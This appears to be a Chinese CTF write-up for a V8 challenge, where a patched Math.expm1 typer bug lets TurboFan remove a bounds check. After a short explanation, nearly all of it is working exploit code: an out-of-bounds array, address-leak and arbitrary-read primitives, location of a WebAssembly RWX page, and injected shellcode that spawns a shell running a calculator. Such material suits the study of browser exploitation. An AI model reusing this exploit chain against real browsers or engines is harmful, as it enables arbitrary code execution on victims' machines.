参考这篇文章可以彻底了解本题的漏洞所在
https://xz.aliyun.com/t/6527
由于Math.expm1经过patch以后的返回值不可能是-0,但是patch的地方是在typer优化中,所以实际上如果没有优化的话是可以返回-0的,这就意味着如果我们先不停地Math.expm1正常执行不返回-0,触发优化,就会导致turbofan认为Math.expm1不可能返回-0,就可以控制一个布尔型变量始终为false,如果再利用这个布尔型变量乘n作为一个数组的下标,最终就会导致checkbounds检查被去除,此时再传入-0让其返回-0,就造成oobarray
获得oobarray的方法如下:
var oobarray=[1.1];
function test(x){var a = [1.1,2.2,3.3,4.4];oobarray=[1.1,1.1,1.1];var c = {x:-0};var b = Object.is(Math.expm1(x),c.x);a[b*12]=mem.u2d(0x100000000000);return oobarray; //a[b * 4];
}for (var i = 0; i < 100000; i++) {test("1");
}test(-0);
得到了oobarray之后就很常规了,版本也不高,怎么做都行。
function hex(x)
{return '0x' + (x.toString(16)).padStart(16, 0);
}
class Memory{constructor(){this.buf = new ArrayBuffer(8);this.f64 = new Float64Array(this.buf);this.u32 = new Uint32Array(this.buf);this.bytes = new Uint8Array(this.buf);}d2u(val){ //double ==> Uint64this.f64[0] = val;let tmp = Array.from(this.u32);return tmp[1] * 0x100000000 + tmp[0];}u2d(val){ //Uint64 ==> doublelet tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);this.u32.set(tmp);return this.f64[0];}
}
var mem=new Memory();
var oobarray=[1.1];
function test(x){var a = [1.1,2.2,3.3,4.4];oobarray=[1.1,1.1,1.1];var c = {x:-0};var b = Object.is(Math.expm1(x),c.x);a[b*12]=mem.u2d(0x100000000000);return oobarray; //a[b * 4];
}for (var i = 0; i < 100000; i++) {test("1");
}test(-0);
var arbf=new ArrayBuffer(0x1234);
var obj={'target':0x5678};
var bk_idx=0;
var obj_idx=0;
for(let i=0;i<0x300;i++)
{let tmp=mem.d2u(oobarray[i]);if(tmp==0x567800000000){obj_idx=i;break;}}
for(let i=0;i<0x300;i++)
{let tmp=mem.d2u(oobarray[i]);if(tmp==0x1234){bk_idx=i+1;break;}}
function addressof(object)
{obj.target=object;return mem.d2u(oobarray[obj_idx]);
}
function read64(address)
{oobarray[bk_idx]=mem.u2d(address);var dt=new DataView(arbf);return mem.d2u(dt.getFloat64(0,true));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
var inst_addr=addressof(wasmInstance);
var rwx_addr=read64(inst_addr+0xe8-1);
console.log("[*] inst_addr is "+hex(inst_addr));
console.log("[*] rwx_addr is "+hex(rwx_addr));
oobarray[bk_idx]=mem.u2d(rwx_addr);
var dt=new DataView(arbf);
const shellcode = new Uint8Array([0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]);
for (var i=0;i<shellcode.length;i++) {dt.setUint8(i,shellcode[i], true);
}
//%DebugPrint(oobarray);
//%DebugPrint(shellcode);
//%SystemBreak();
wasmFunc();